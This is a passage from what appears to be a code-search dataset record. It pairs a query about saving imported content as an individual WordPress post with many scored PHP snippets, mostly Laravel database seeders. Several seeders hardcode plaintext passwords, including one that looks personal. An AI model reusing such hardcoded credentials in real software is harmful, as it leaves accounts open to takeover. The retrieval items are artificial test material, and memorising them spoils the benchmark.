10)->create();\n\n $quests->each(function (\\App\\Models\\Quest $quest) {\n $count = random_int(100, 500);\n factory(\\App\\Models\\Booking::class, $count)->create([\n 'quest_id' => $quest->id,\n ]);\n });\n }", "title": "" }, { "docid": "2db117b1d28054b0f08a58115645189d", "score": "0.7701633", "text": "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n // ?for seeding categories\n // Category::factory(5)->create();\n //? for seeding posts \n Post::factory(3)->create([\n 'category_id' => 5\n ]);\n }", "title": "" }, { "docid": "84e706cea7bd7dc14995a5ca30acd23f", "score": "0.7698958", "text": "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n\n // authorsテーブルにデータ登録を行う処理\n $this->call(AuthorsTableSeeder::class);\n\n // publishersテーブルに50件のレコードを作成する\n Publisher::factory(50)->create();\n\n // usersとuser_tokensのテーブルにレコードを追加\n $this->call(\n [\n UserSeeder::class\n ]\n );\n\n // ordersとorder_detailsのテーブルにレコードを追加\n $this->db->transaction(\n function () {\n $this->orders();\n $this->orderDetails();\n }\n );\n\n $now = CarbonImmutable::now();\n // customersテーブルにレコードを追加\n EloquentCustomer::create(\n [\n 'id' => 1,\n 'name' => 'name1',\n 'created_at' => $now,\n 'updated_at' => $now,\n ]\n );\n // customer_pointsテーブルにレコードを追加\n EloquentCustomerPoint::create(\n [\n 'customer_id' => 1,\n 'point' => 100,\n 'created_at' => $now,\n 'updated_at' => $now,\n ]\n );\n }", "title": "" }, { "docid": "5e28bc59cffaacbd443ac1937265c50b", "score": "0.76987165", "text": "public function run()\n {\n $this->call(PostsTableSeeder::class);\n $this->call(SiswaSeeder::class);\n $this->call(MusicsTableSeeder::class);\n $this->call(FilmSeeder::class);\n // $this->call(UsersTableSeeder::class);\n factory(App\\Tabungan::class, 100)->create();\n factory(App\\Costumer::class, 1000)->create();\n }", "title": "" }, { "docid": "5c2d13aa24ff40662a0ce876f3c44809", "score": "0.7694809", "text": "public function run()\n {\n //\n $user_ids = ['1','2','3'];\n $faker = app(Faker\\Generator::class);\n\n $articles = factory(Article::class)->times(100)->make()->each(function ($articles) use ($faker, $user_ids) {\n $articles->user_id = $faker->randomElement($user_ids);\n });\n\n Article::insert($articles->toArray());\n }", "title": "" }, { "docid": "14bcfcdf178e55585d48d15b958ccfc6", "score": "0.7693058", "text": "public function run()\n {\n $data = json_decode(file_get_contents(database_path('seeds/data/voyager.json')), true);\n foreach ($data as $table => $tableData) {\n $this->command->info(\"Seeding ${table}.\");\n \\Illuminate\\Support\\Facades\\DB::table($table)->delete();\n \\Illuminate\\Support\\Facades\\DB::table($table)->insert($tableData);\n }\n\n// $this->seed('DataTypesTableSeeder');\n// $this->seed('DataRowsTableSeeder');\n $this->seed('MenusTableSeeder');\n// $this->seed('MenuItemsTableSeeder');\n $this->seed('RolesTableSeeder');\n $this->seed('PermissionsTableSeeder');\n $this->seed('PermissionRoleTableSeeder');\n $this->seed('SettingsTableSeeder');\n }", "title": "" }, { "docid": "654191b89a3f7b4f8f809dd4ca1e2f6d", "score": "0.76909655", "text": "public function run()\n {\n /**\n * Create default user for admin, lecturer and student\n */\n User::create([\n 'name' => 'Admin',\n 'email' => '[email protected]',\n 'password' => Hash::make('admin'),\n 'role' => 'admin'\n ]);\n\n User::create([\n 'name' => 'Sample Lecturer',\n 'email' => '[email protected]',\n 'password' => Hash::make('lecturer'),\n 'role' => 'admin'\n ]);\n\n User::create([\n 'name' => 'Student',\n 'email' => '[email protected]',\n 'password' => Hash::make('student'),\n 'role' => 'student'\n ]);\n\n /**\n * Create random 300 users with faker and role/password equal \"student\"\n */\n factory(App\\User::class, 300)->create();\n\n // run with php artisan migrate --seed\n }", "title": "" }, { "docid": "acbc8ce8381dd5242a3f70eb7db2f7b0", "score": "0.76889795", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(User::class)->create([\n 'name' => 'mohamed magdy',\n 'email' => '[email protected]'\n ]);\n factory(User::class)->create([\n 'name' => 'ahmed magdy',\n 'email' => '[email protected]'\n ]);\n factory(User::class)->create([\n 'name' => 'abdelhameed',\n 'email' => '[email protected]'\n ]);\n }", "title": "" }, { "docid": "6a416e8eba24d6a06a2c1821432bb069", "score": "0.76887816", "text": "public function run()\n {\n $faker=Faker::create();\n foreach(range(1,10) as $value)\n {\n DB::table('students')->insert([\n \"name\"=>$faker->name(),\n \"email\"=>$faker->unique->safeEmail(),\n \"password\"=>Hash::make($faker->password),\n \"mobile\"=>$faker->phoneNumber,\n \"gender\"=>$faker->randomElement(['Male','Female'])\n ]);\n }\n }", "title": "" }, { "docid": "d40aad4597dc498684ff1a2297b648e4", "score": "0.7687799", "text": "public function run()\n {\n //factory('App\\Store', 2)->create();\n // for individual use \"php artisan db:seed --class=StoreTableSeeder\"\n Schema::disableForeignKeyConstraints();\n \n DB::table('store')->truncate();\n\n App\\Store::create([\n 'manager_staff_id' => 1,\n 'address_id' => 1,\n ]);\n\n App\\Store::create([\n 'manager_staff_id' => 2,\n 'address_id' => 2,\n ]);\n\n Schema::enableForeignKeyConstraints();\n \n }", "title": "" }, { "docid": "d932a3a60db7e3e1b5c8ff7359b4a2ba", "score": "0.768728", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n /*$faker = Faker::create();\n \tfor($i = 0; $i < 10; $i++) {\n App\\Lists::create([\n 'item_name' => $faker->name,\n 'store_name' => $faker->name,\n 'total_item' => $faker->randomDigitNotNull,\n 'item_price' => $faker->numberBetween($min = 100, $max = 900),\n 'total_price' =>$faker->numberBetween($min = 1000, $max = 9000)\n ]);\n }*/\n }", "title": "" }, { "docid": "6b052b127c0955be874bff998cbf539d", "score": "0.76856595", "text": "public function run()\n {\n //$this->call(UsersTableSeeder::class);\n //$this->call(RequisitosSeeder::class);\n //factory('App\\User', 3)->create();\n //factory('App\\Situation', 3)->create();\n factory('App\\Sector', 3)->create();\n factory('App\\Role', 3)->create();\n factory('App\\Privilege', 3)->create();\n factory('App\\Evidence', 3)->create();\n factory('App\\Requirement', 3)->create();\n factory('App\\Company', 3)->create();\n }", "title": "" }, { "docid": "4b0c5746a1ac85fa81771a8a8a20868c", "score": "0.7678735", "text": "public function run()\n {\n //Tạo 1 dữ liệu trên data base\n // DB::table('todos')->insert([\n // 'name' => Str::random(10),\n // 'description' => Str::random(10),\n // 'completed' => true,\n // ]);\n\n //Tạo nhiều\n Todo::factory(5)\n // ->count(10)\n // ->hasPosts(1)\n ->create();\n //Sau khi tạo xong thì qua databaseSeeder.php để gọi\n }", "title": "" }, { "docid": "c6a289f8899b7ae9ecc9fac9bc29c5a6", "score": "0.7678028", "text": "public function run()\n {\n Model::unguard();\n\n // $this->call(\"OthersTableSeeder\");\n factory(Welfare::class, 100)->create();\n factory(JobTag::class, 100)->create();\n factory(Welfare::class, 100)->create();\n\n factory(Company::class, 10)->create()->each(function (Company $company) {\n $company->images()->createMany(factory(CompanyImage::class, random_int(0, 3))->make()->toArray());\n $company->jobs()->createMany(factory(Job::class, random_int(0, 20))->make()->toArray());\n });\n }", "title": "" }, { "docid": "e4b68debc10ebf9c9ba7ccc13ad96554", "score": "0.7677989", "text": "public function run()\n {\n Schema::disableForeignKeyConstraints();\n Student::truncate();\n Schema::enableForeignKeyConstraints();\n\n // $faker = Faker\\Factory::create();\n\n // for ($i=0; $i < 100; $i++) { \n // $st = new Student([\n // \"first_name\" => $faker->firstName(),\n // \"last_name\" => $faker->lastName(),\n // \"email\" => $faker->unique()->safeEmail()\n // ]);\n // $st->save();\n // }\n\n factory(Student::class, 25)->create();\n }", "title": "" }, { "docid": "232280f5b66a069fae8a2b568db508e7", "score": "0.7671213", "text": "public function run()\n {\n factory(App\\Models\\User::class, 15)->create();\n factory(App\\Models\\Movie::class, 30)->create();\n factory(App\\Models\\Address::class, 30)->create();\n factory(App\\Models\\Contact::class, 30)->create();\n $this->call(UsersTableSeeder::class);\n }", "title": "" }, { "docid": "4bea3dcfb1c11c2f563ef5c570939031", "score": "0.76692706", "text": "public function run()\n {\n $this->call(UsersSeeder::class);\n $this->call(MeasuresSeeder::class);\n $this->call(ItemsSeeder::class);\n \\App\\Models\\Buyer::factory(200)->create();\n \\App\\Models\\Storage::factory(3000)->create();\n \\App\\Models\\Purchase::factory(2000)->create();\n\n }", "title": "" }, { "docid": "3114ddd54d20a2718dff9452d5974cde", "score": "0.76679426", "text": "public function run()\n {\n $faker = Faker::create();\n foreach (range(1, 20) as $index) {\n \\DB::table('employees')->insert([\n 'name' => $faker->name,\n 'age' => rand(22, 40),\n 'email' => $faker->email,\n 'gender' => $faker->randomElement(array('male', 'female')),\n 'country' => $faker->country\n ]);\n }\n }", "title": "" }, { "docid": "032e6df09c32ce0c18c6e5a3dcfd03cd", "score": "0.76679265", "text": "public function run()\n {\n\t DB::table('roles')->insert([\n\t\t 'name' => 'admin'\n\t ]);\n\n\t DB::table('users')->insert([\n\t\t 'name' => 'David Trushkov',\n\t\t 'email' => '[email protected]',\n\t\t 'password' => bcrypt('d16331633'),\n\t\t 'remember_token' => str_random(10),\n\t\t 'verified' => 1,\n\t\t 'token' => '',\n\t\t 'avatar' => '',\n\t\t 'created_at' => \\Carbon\\Carbon::now()->format('Y-m-d H:i:s'),\n\t\t 'updated_at' => \\Carbon\\Carbon::now()->format('Y-m-d H:i:s'),\n\t ]);\n\n\t DB::table('user_role')->insert([\n\t\t 'user_id' => 1,\n\t\t 'role_id' => 1\n\t ]);\n\n\t $this->call(UserTableSeeder::class);\n\t $this->call(FilesTableSeeder::class);\n\t $this->call(FileUploadsTableSeeder::class);\n\t $this->call(SalesTableSeeder::class);\n\t $this->call(FileCategoryTableSeeder::class);\n }", "title": "" }, { "docid": "fd3e02773eac9af1278393c90e1ec5e3", "score": "0.7666974", "text": "public function run()\n {\n User::truncate();\n\n User::create([\n 'name' => 'admin',\n 'password' => bcrypt('secret'),\n 'role' => 'admin',\n ]);\n\n User::create([\n 'name' => 'operator',\n 'password' => bcrypt('secret'),\n 'role' => 'operator',\n ]);\n\n User::create([\n 'name' => 'employee',\n 'password' => bcrypt('secret'),\n 'role' => 'employee',\n ]);\n\n $faker = Factory::create('id_ID');\n\n for ($i = 0; $i < 12; $i++) {\n User::create([\n 'name' => $faker->name,\n 'password' => bcrypt('secret'),\n 'role' => 'employee',\n ]);\n }\n\n }", "title": "" }, { "docid": "ff42adb6774e0bbeff44a5168ad219fd", "score": "0.7666566", "text": "public function run()\n {\n $this->call([\n PermissionsTableSeeder::class,\n ]);\n\n \\App\\Models\\User::factory(10)->create();\n\n \\App\\Models\\Blog::factory(100)->create();\n }", "title": "" }, { "docid": "720860b2dc67da65a78f539890510b34", "score": "0.76662236", "text": "public function run()\n {\n\n \t$faker = Faker::create('id_ID');\n foreach(range(0,5) as $i){\n \t\tDB::table('sarana')->insert([\n 'judul'=>$faker->bothify('Taman ###'),\n 'user_id'=>1,\n \t'body'=>$faker->realText($maxNbChars = 50, $indexSize = 2),\n \t'gambar'=>'gambar.jpg',\n \t\t]);}\n // factory(App\\Sarana::class,10)->create();\n }", "title": "" }, { "docid": "475d4973b6c6199504d485d769b2a6fc", "score": "0.7665698", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n Admins::insert(['email'=>'[email protected]','password'=>Hash::make('Admin2019')]); //First Admin\n Uidata::insert(['data'=>'News tap']);\n Uidata::insert(['data'=>'']);\n Uidata::insert(['data'=>'']);\n Acyear::insert(['year'=>'2019/2020','semister'=>'1']);\n Syssta::insert(['state'=>0,'academic_year'=>1]);\n }", "title": "" }, { "docid": "acc4a55ca590e54c9d9cae8f6b80d13b", "score": "0.7662981", "text": "public function run()\n {\n User::factory(100)->create();\n $this->call([\n UserSeeder::class,\n ]);\n Article::factory()->count(100)->create();\n Rate::factory()->count(1000)->create();\n\n }", "title": "" }, { "docid": "3956831ae87733f8f0e38ec5700c0dbd", "score": "0.76615685", "text": "public function run()\n {\n // Initialize Faker\n $faker = Faker::create('id_ID');\n for ($i = 0; $i < 10; $i++) {\n DB::table('authors')->insert([\n 'first_name' => $faker->firstName,\n 'middle_name' => $faker->firstNameMale,\n 'last_name' => $faker->lastName,\n 'created_at' => $faker->date()\n ]);\n }\n }", "title": "" }, { "docid": "7b230b72d30c25948db35185929e3563", "score": "0.76597947", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(User::class , 20)->create();\n factory(Rank::class,100)->create();\n factory(Answer::class,100)->create();\n\n }", "title": "" }, { "docid": "6d654d34dff257df1302ac38c4a46fab", "score": "0.76586807", "text": "public function run()\n {\n Model::unguard();\n\n $this->truncateMultiple([\n 'cache',\n 'failed_jobs',\n 'ledgers',\n 'jobs',\n 'sessions',\n // 'banner_per_pages',\n // 'news',\n // 'galeries',\n // 'careers',\n // 'faqs',\n // 'categories',\n // 'products',\n // 'about_contents',\n // 'company_contents',\n // 'web_settings'\n ]);\n\n // $news = factory(News::class, 5)->create();\n // $galeries= factory(Galery::class, 6)->create();\n\n // $faqs = factory(Faq::class, 8)->create();\n\n // $categoryIndustrial = factory(Category::class, 4)\n // ->create()\n // ->each(function ($category)\n // {\n // $category->products()->createMany(\n // factory(Product::class, 4)->make()->toArray()\n // );\n // });\n\n // $this->call(CareerTableSeeder::class);\n // $this->call(AboutContentSeeder::class);\n // $this->call(CompanyContentSeeder::class);\n // $this->call(WebSettingSeeder::class);\n\n // $this->call(AuthTableSeeder::class);\n\n // $this->call(MainCategorySeeder::class);\n\n $this->call(BannerPerPageSeeder::class);\n\n Model::reguard();\n }", "title": "" }, { "docid": "2b1ccfcd74ea29f817442dd58fc9459e", "score": "0.7657721", "text": "public function run()\n {\n //\n //DB::table('users')->truncate();\n $fakerBrazil = Faker::create('pt_BR');\n $faker = Faker::create();\n\n\n foreach (range(1, 10) as $index) {\n Notes::create(array(\n 'title' => $faker->randomElement($array = array('Atividade-1', 'Atividade-2', 'Atividade-3', 'Atividade-4')),\n 'user_name' => $faker->randomElement(User::lists('username')->toArray()),\n 'body' => $faker->sentence($nbWords = 15, $variableNbWords = true),\n 'created_at' => Carbon::now()->format('Y-m-d H:i:s'),\n\n ));\n }\n }", "title": "" }, { "docid": "ea44d8a6a359fde35d7e5c7e98a844c7", "score": "0.7656455", "text": "public function run()\n {\n $faker = Faker::create('es_ES');\n foreach(range(1,100) as $index){\n \tDB::table('personas')->insert([\n \t\t'nombre' => $faker->name,\n \t\t'apellido' => $faker->lastname,\n \t\t'edad' => $faker->numberBetween(1,100),\n \t\t'dni' => $faker->randomNumber(8),\n \t]);\n }\n }", "title": "" }, { "docid": "d8aa9d1a66e018ca7c4a33e3c222390c", "score": "0.76545465", "text": "public function run()\n {\n $this->labFacultiesSeeder();\n $this->labStudentSeeder();\n $this->labTagsTableSeeder();\n $this->labPositionsTableSeeder();\n $this->labSkillsTableSeeder();\n }", "title": "" }, { "docid": "ec089dc7e3ddac3340c642f68b2d8ac2", "score": "0.7654124", "text": "public function run()\n {\n // $this->call(UserSeeder::class);\n\t\tDB::table('empresa')->insert([\n\t\t\t'empresarioId' => random_int(0,10),\n\t\t\t'alta' => true,\n 'nombre_de_empresa' => Str::random(10),\n\t\t\t'direccion' => Str::random(10),\n\t\t\t'lugar' => Str::random(10),\n\t\t\t'provincia' => Str::random(10),\n 'email' => Str::random(10).'@gmail.com',\n\t\t\t'numeroTelefono' => random_int(100000000,999999999),\n\t\t\t'segundoNTeléf' => random_int(100000000,999999999),\n ]);\t\t\n }", "title": "" }, { "docid": "38c1567f61695033bc9c5cd019c0e92f", "score": "0.7653314", "text": "public function run()\n {\n // $this->call(UserSeeder::class);\n // factory(App\\Patient::class, 3)->create()->each(function ($patient){$patient->appointments()->createMany(factory(App\\Appointment::class, 3)->make()->toArray()); $patient->});\n // factory(App\\Appointment::class, 3)->create()->each(function ($appointment){$appointment->patient()->save(factory(App\\Patient::class)->make());$appointment->nurse()->save(factory(App\\Nurse::class)->make());$appointment->physician()->save(factory(App\\Physician::class)->make());});\n\n $this->call(RoomTableSeeder::class);\n $this->call(MedicationTableSeeder::class);\n $this->call(DepartmentTableSeeder::class);\n $this->call(ProcedureTableSeeder::class);\n $this->call(DiseaseSeeder::class);\n $this->call(RoleTableSeeder::class);\n $this->call(UserSeederTable::class);\n }", "title": "" }, { "docid": "ba6738f08662f7542dd055c6ac5dc33f", "score": "0.7648732", "text": "public function run() {\n \t// seed the models\n \t// order is important\n $this->call(UsersTableSeeder::class);\n \t$this->call(RolesTableSeeder::class);\n $this->call(DivisionsTableSeeder::class);\n $this->call(LocationsTableSeeder::class);\n $this->call(IncidentsTableSeeder::class);\n $this->call(PatronsTableSeeder::class);\n $this->call(PhotosTableSeeder::class);\n $this->call(CommentsTableSeeder::class);\n\n\n // seed the relationships\n $this->call(IncidentUserViewedRelationshipSeeder::class);\n $this->call(IncidentUserInvolvedRelationshipSeeder::class);\n $this->call(RoleUserRelationshipSeeder::class);\n $this->call(DivisionUserRelationshipSeeder::class);\n $this->call(UserSupervisorRelationshipSeeder::class);\n // $this->call(PatronPhotoRelationshipSeeder::class);\n // $this->call(IncidentPhotoRelationshipSeeder::class);\n $this->call(PhotoRelationshipSeeder::class);\n $this->call(IncidentPatronRelationshipSeeder::class);\n $this->call(IncidentLocationRelationshipSeeder::class);\n $this->call(UserPatronRelationshipSeeder::class);\n }", "title": "" }, { "docid": "53d34549583a1c519a3ec1def617a12a", "score": "0.764589", "text": "public function run()\n {\n factory(\\App\\User::class)->create(['role' => 'admin' , 'email' => '[email protected]']);\n factory(\\App\\User::class)->create(['role' => 'agent' , 'email' => '[email protected]']);\n\n factory(\\App\\Models\\TicketCategory::class)->create();\n factory(\\App\\Models\\TicketCategory::class)->create();\n\n factory(\\App\\Models\\Priority::class , 5)->create();\n factory(\\App\\Models\\Faq::class , 20)->create();\n\n $this->call([\n SettingSeeder::class,\n ]);\n\n }", "title": "" }, { "docid": "271eb5b13582683b989e89620a409611", "score": "0.76447785", "text": "public function run()\n {\n DB::table('shops')->delete();\n $faker = Faker::create();\n foreach (range(1,10) as $index) {\n DB::table('shops')->insert([\n 'name' => $faker->firstName(),\n 'street' => $faker->streetName(),\n 'city' => $faker->city(),\n 'phoneNumber' => $faker->phoneNumber(),\n 'email' => $faker->email(),\n ]);\n }\n }", "title": "" } ]
8a2ce48107d7541452c0295d630ebc82
Save import content as a separate post (individual mode)
[ { "docid": "5971970f1d4986167115bf59af69cfe8", "score": "0.0", "text": "private function _update_individual( $post_id, $feed_id, $arrPostCategoryNames, $post, $content, $content_features ) {\n\t\tglobal $publishthis;\n\n\t\t$featured_image = isset( $content_features['featured_image'] ) ? $content_features['featured_image'] : false;\n\n\t\t//first, see if we are even allowed to do an update if it is there\n\t\tif ( ( $post_id ) && ( $content_features ['individual_update'] == '1' ) ) {\n\t\t\t$contentAuthor = null;\n\n\t\t\t$postLastUpdateDateValue = get_post_meta( $post_id, '_publishthis_doc_last_update_date', true );\n\n\t\t\tif ( empty( $postLastUpdateDateValue ) || ( $postLastUpdateDateValue == $content->curateUpdateDate ) ) {\n\t\t\t\tif ( empty( $postLastUpdateDateValue ) ) {\n\t\t\t\t\tadd_post_meta( $post_id, '_publishthis_doc_last_update_date', $content->curateUpdateDate, true );\n\t\t\t\t\t$this->_individuals_log['empty_date'][$feed_id][] = 'Post id:' . $post_id . ' date was:' . $content->curateUpdateDate;\n\t\t\t\t} else {\n $this->_individuals_log['not_updated'][$feed_id][] = '' . $post_id . '.' . $content->docId;\n\t\t\t\t}\n\t\t\t\treturn \"skipped\";\n\t\t\t}\n\t\t} else if ( ( $post_id ) && ( $content_features ['individual_update'] != '1' ) ) {\n\t\t\t\treturn \"skipped\";\n\t\t\t}\n\n\t\t// Set post author\n\t\tif ( !empty( $content->contentAuthors ) ) {\n\t\t\t$contentAuthor = $content->contentAuthors;\n\t\t}\n\t\t\n\t\t$author_id = $this->_get_post_author( $content_features[\"publish_author\"], $contentAuthor, $content_features['ptauthors'] );\n\t\tif ( $author_id >= 0 ) {\n\t\t\t$post['post_author'] = $author_id;\n\t\t}\n\n\t\t// Set Manager content specific categories\n\t\tif ( $this->_cat_mappings == '1' && isset( $content->contentCategories ) ) {\n\t\t\t\n\t\t\tforeach ( $content->contentCategories as $category ) {\n\t\t\t\t$wp_cat = get_term_by( 'id', $category->id, $category->taxonomyName );\n\n\t\t\t\tif ( strlen( $wp_cat->name ) > 0 ) {\n\t\t\t\t\t$new_cat = array(\n\t\t\t\t\t\t'taxonomy' => $category->taxonomyName,\n\t\t\t\t\t\t'category' => $wp_cat->name );\n\t\t\t\t\tif ( !in_array( $new_cat, $arrPostCategoryNames ) ) {\n\t\t\t\t\t\t$arrPostCategoryNames[] = $new_cat;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Set post title\n\t\t$post ['post_title'] = ! empty ( $content->title ) ? $content->title : '';\n\t\tif( empty ( $content->title ) ) { \n\t\t\t$post ['post_name'] = $content->docId;\n\t\t}\n\t\t$post ['page_template'] = $content_features['page_template']!='default' ? $content_features['page_template'] : '';\n\n\t\t// Set post excerpt if needed\n\t\t$post ['post_excerpt'] = $this->_generate_excerpt( $content_features, $content, 'individual' );\n\t\t$post ['post_content'] = '';\n\n\t\t$content->feedId = $feed_id;\n\n\t\t// Set Content\n\t\t$GLOBALS ['pt_content'] = $content;\n\t\t$GLOBALS ['pt_content_features'] = $content_features;\n\n\t\t// Manage category\n\t\t//$post ['post_category'] = $this->_check_categories( $arrPostCategoryNames );\n\t\t\n\t\t// Generate html output\n\t\tob_start();\n\t\t$publishthis->load_template ( 'individual.php' );\n\t\t$thePostContent = ob_get_clean();\n\t\t\n \t\n \n \n\t\t$post ['post_content'] = $thePostContent;\n\t\tunset ( $GLOBALS ['pt_content'] );\n\t\tunset ( $GLOBALS ['pt_content_features'] );\n\n\t\t$status = 'skipped';\n\t\t// Add / update post\n\t\tif ( $post_id ) {\n\t\t\tif ( $content_features ['individual_update'] == '1' ) {\n\t\t\t\t$post ['ID'] = $post_id;\n\t\t\t\t$result = wp_update_post ( $post, true );\n\n\t\t\t\tif(is_wp_error($result)) {\n\t\t\t\t\tthrow new Exception('Failed to update post id '.$post_id.'. Details: '.$result->get_error_message());\n\t\t\t\t}\n\n\t\t\t\tupdate_post_meta( $post_id, '_publishthis_doc_last_update_date', $content->curateUpdateDate );\n\n\t\t\t\tupdate_post_meta( $post_id, '_publishthis_posttype','individual');\n\n\t\t\t\t$status = 'updated';\n\n\t\t\t\t$publishthis->log->addWithLevel( array(\n\t\t\t\t\t\t'message' => 'POST UPDATED',\n\t\t\t\t\t\t'status' => 'info',\n\t\t\t\t\t\t'details' => $post_id.'('.$content->docId.')'), \"1\" );\n\t\t\t\t\n\t\t\t\t//post this action, in case any other plugins want to do something with it\n\t\t\t\t$arrPostAction = array ();\n\t\t\t\t$arrPostAction[] = $post_id;\n\t\t\t\t$publishthis->postAction(\"publishthis-post-update\",$arrPostAction);\n\t\t\t\t\n\t\t\t}\n\t\t} else {\n\t\t\tif ( $content_features ['individual_insert'] == '1' ) {\n\t\t\t\t$post['post_status'] = $content_features ['post_status'];\n\t\t\t\t$post_id = $result = wp_insert_post ( $post, true );\n\n\t\t\t\tif(is_wp_error($result)) {\n\t\t\t\t\tthrow new Exception('Failed to insert post for docid '.$content->docId.'. Details: '.$result->get_error_message());\n\t\t\t\t}\n\t\t\t\tadd_post_meta ( $post_id, '_imported', '1', true );\n\t\t\t\tadd_post_meta ( $post_id, '_publishthis_docid', $content->docId, true );\n\t\t\t\tadd_post_meta( $post_id, '_publishthis_doc_last_update_date', $content->curateUpdateDate, true );\n\t\t\t\tadd_post_meta( $post_id, '_publishthis_posttype','individual');\n\t\t\t\n\t\t\t\t$status = 'inserted';\n\t\t\t\t\n\t\t\t\t$publishthis->log->addWithLevel( array(\n\t\t\t\t\t\t'message' => 'POST INSERTED',\n\t\t\t\t\t\t'status' => 'info',\n\t\t\t\t\t\t'details' => $post_id.'('.$content->docId.')'), \"1\" );\n\n\t\t\t\t//post this action, in case any other plugins want to do something with it\n\t\t\t\t$arrPostAction = array ();\n\t\t\t\t$arrPostAction[] = $post_id;\n\t\t\t\t$publishthis->postAction(\"publishthis-post-insert\",$arrPostAction);\n\t\t\t}\n\t\t}\n\n\t\t// Set Manager Tags\n\t\tif ( $post_id && $content_features['tags'] == '1' ) {\n\t\t\t$tags = array();\n\t\t\tforeach( $content->contentTags as $tag ) $tags[] = $tag;\n\t\t\tforeach( $content_features['feed_tags'] as $tag ) $tags[] = $tag;\t\t\t\n\t\t\t$this->_set_tags( $post_id, $tags );\n\t\t}\n\n\t\t$this->_add_categories_with_taxonomy( $post_id, $arrPostCategoryNames );\n\n\t\t//log messages on error\n\t\tif ( is_wp_error( $result ) ) {\n\t\t\t$message = array(\n\t\t\t\t'message' => 'Post insert/update error',\n\t\t\t\t'status' => 'error',\n\t\t\t\t'details' => implode( ';', $result->get_error_messages() ) );\n\t\t\t$publishthis->log->addWithLevel( $message, \"1\" );\n\t\t}\n\n\t\t// Set post Formats\n\t\tif ( $post ['post_type'] == 'post' && isset ( $content->contentType ) ) {\n\t\t\tswitch ( $content->contentType ) {\n\t\t\tcase 'video' :\n\t\t\t\tset_post_format ( $post_id, 'video' );\n\t\t\t\tbreak;\n\t\t\tcase 'photo' :\n\t\t\t\tset_post_format ( $post_id, 'image' );\n\t\t\t\tbreak;\n\t\t\tcase 'tweet' :\n\t\t\t\tset_post_format ( $post_id, 'status' );\n\t\t\t\tbreak;\n\t\t\tcase 'article' :\n\t\t\tcase 'text' :\n\t\t\tdefault :\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\t// Download and set featured image\n\t\tif ( $featured_image && ! empty ( $content->imageUrl ) ) {\n\t\t\t//add in the new one\n\t\t\t$this->_add_featured_image( $post_id, $content->imageUrl, $content_features, $post['post_title'] );\n\t\t}\n\t\telse {\n\t\t\t//unlink featured image from post\n\t\t\tdelete_post_meta ( $post_id, '_thumbnail_id' );\n\t\t}\n\n\t\t// Add / update meta\n\t\tupdate_post_meta( $post_id, '_publishthis_raw', $content );\n\t\tupdate_post_meta( $post_id, '_wp_page_template', $content_features['page_template'] );\n\n\t\treturn $status;\n\t}", "title": "" } ]
[ { "docid": "9f00d0bac1f3fdc25314ae455fb6a050", "score": "0.6902179", "text": "private function _import( $post ) {\n\n\t\t$content = $post['post_content'];\n\t\t\n\t\t// This particular DB stores a 2nd page of content in that other table\n\t\tif ( ! empty( $post['more_content'] ) )\n\t\t\t$content .= \"\\n\\n\". $post['more_content'];\n\n\t\t// Here we'd process the content for any URL changes, or\n\t\t// anything else that amounts to string replacement.\n\t\t$content = str_replace( '%gallery%', '', $content );\n\n\t\t// We would also do any author mapping here.\n\t\t$author = $this->get_wordpress_user( $post['post_author'] );\n\t\t\n\t\t$new_post = array(\n\t\t\t'post_author' => $author,\n\t\t\t'post_content' => $content,\n\t\t\t'post_date' => $post['post_date'],\n\t\t\t'post_name' => $post['post_name'],\n\t\t\t'post_title' => $post['post_title'],\n\t\t\t// We're setting this for all imported posts\n\t\t\t'post_status' => 'publish',\n\t\t\t'post_type' => 'post'\n\t\t);\n\t\t$wp_id = wp_insert_post( $new_post );\n\t\t// In a real import, we'd want to handle this error somehow\n\t\tif ( ! $wp_id )\n\t\t\treturn false;\n\n\t\tupdate_post_meta( $wp_id, '_imported_id', $post['imported_id'] );\n\t\t\n\t\t// This content can have an audio embed, so we grab that here,\n\t\t// and make it an audio post if so\n\t\t$sql = $this->db->query( 'SELECT metadata FROM metadata WHERE PostID = '. $post['imported_id'] .' AND metakey = \"indAudioEmbedded\"' );\n\t\t$audio = $sql->fetchColumn();\n\t\tif ( $audio ) {\n\t\t\tupdate_post_meta( $wp_id, '_format_audio_embed', urldecode( $audio ) );\n\t\t\tset_post_format($wp_id, 'audio' );\n\t\t}\n\t\t\n\t\t// Tags.\n\t\t$sql = \"SELECT Tag FROM posttags WHERE postid = \".$post['imported_id'];\n\t\t$term_stmt = $this->db->query( $sql );\n\t\t$terms = $term_stmt->fetchAll();\n\t\t$terms = wp_list_pluck( $terms, 'Tag' );\n\t\twp_set_post_terms( $wp_id, $terms, 'post_tag' );\n\t\t\n\t\t// Categories.\n\t\t$sql = \"SELECT PostID, CategoryID FROM postcategories WHERE PostID = \".$post['imported_id'];\n\t\t$term_stmt = $this->db->query( $sql );\n\t\t$terms = $term_stmt->fetchAll();\n\t\t$terms = wp_list_pluck( $terms, 'CategoryID' );\n\t\tarray_walk( $terms, array( $this, '_convert_to_wp_cat' ) );\n\t\twp_set_post_terms( $wp_id, $terms, 'category' );\n\t\t\n\t\t// Now that we have the WP ID, we can go through the content\n\t\t// to grab any <img>s & upload them into the WP media library. \n\t\t// -- you need the WP ID to attach the image to this post.\n\t\tpreg_match_all( '#<img(.*?)src=\"(.*?)\"(.*?)>#', $content, $matches, PREG_SET_ORDER );\n\t\tif ( is_array( $matches ) ) {\n\t\t\tforeach ( $matches as $match ) {\n\t\t\t\t$filename = $match[2]; // Grab the src URL\n\t\t\t\t$img = $match[0]; // Save the HTML\n\t\t\t\t\n\t\t\t\t// Check out the URL, make sure it's OK to import\n\t\t\t\t$filename = urldecode( $filename );\n\t\t\t\t$filetype = wp_check_filetype( $filename );\n\t\t\t\tif ( empty( $filetype['type'] ) ) // Unrecognized file type\n\t\t\t\t\tcontinue;\n\n\t\t\t\tif ( false !== strpos( $filename, 'redradar.net' ) ) {\n\t\t\t\t\t$old_filename = $filename;\n\t\t\t\t} else {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\t// Upload the file from the old web site to WordPress Media Library\n\t\t\t\t$data = media_sideload_image( $old_filename, $wp_id );\n\n\t\t\t\tif ( ! 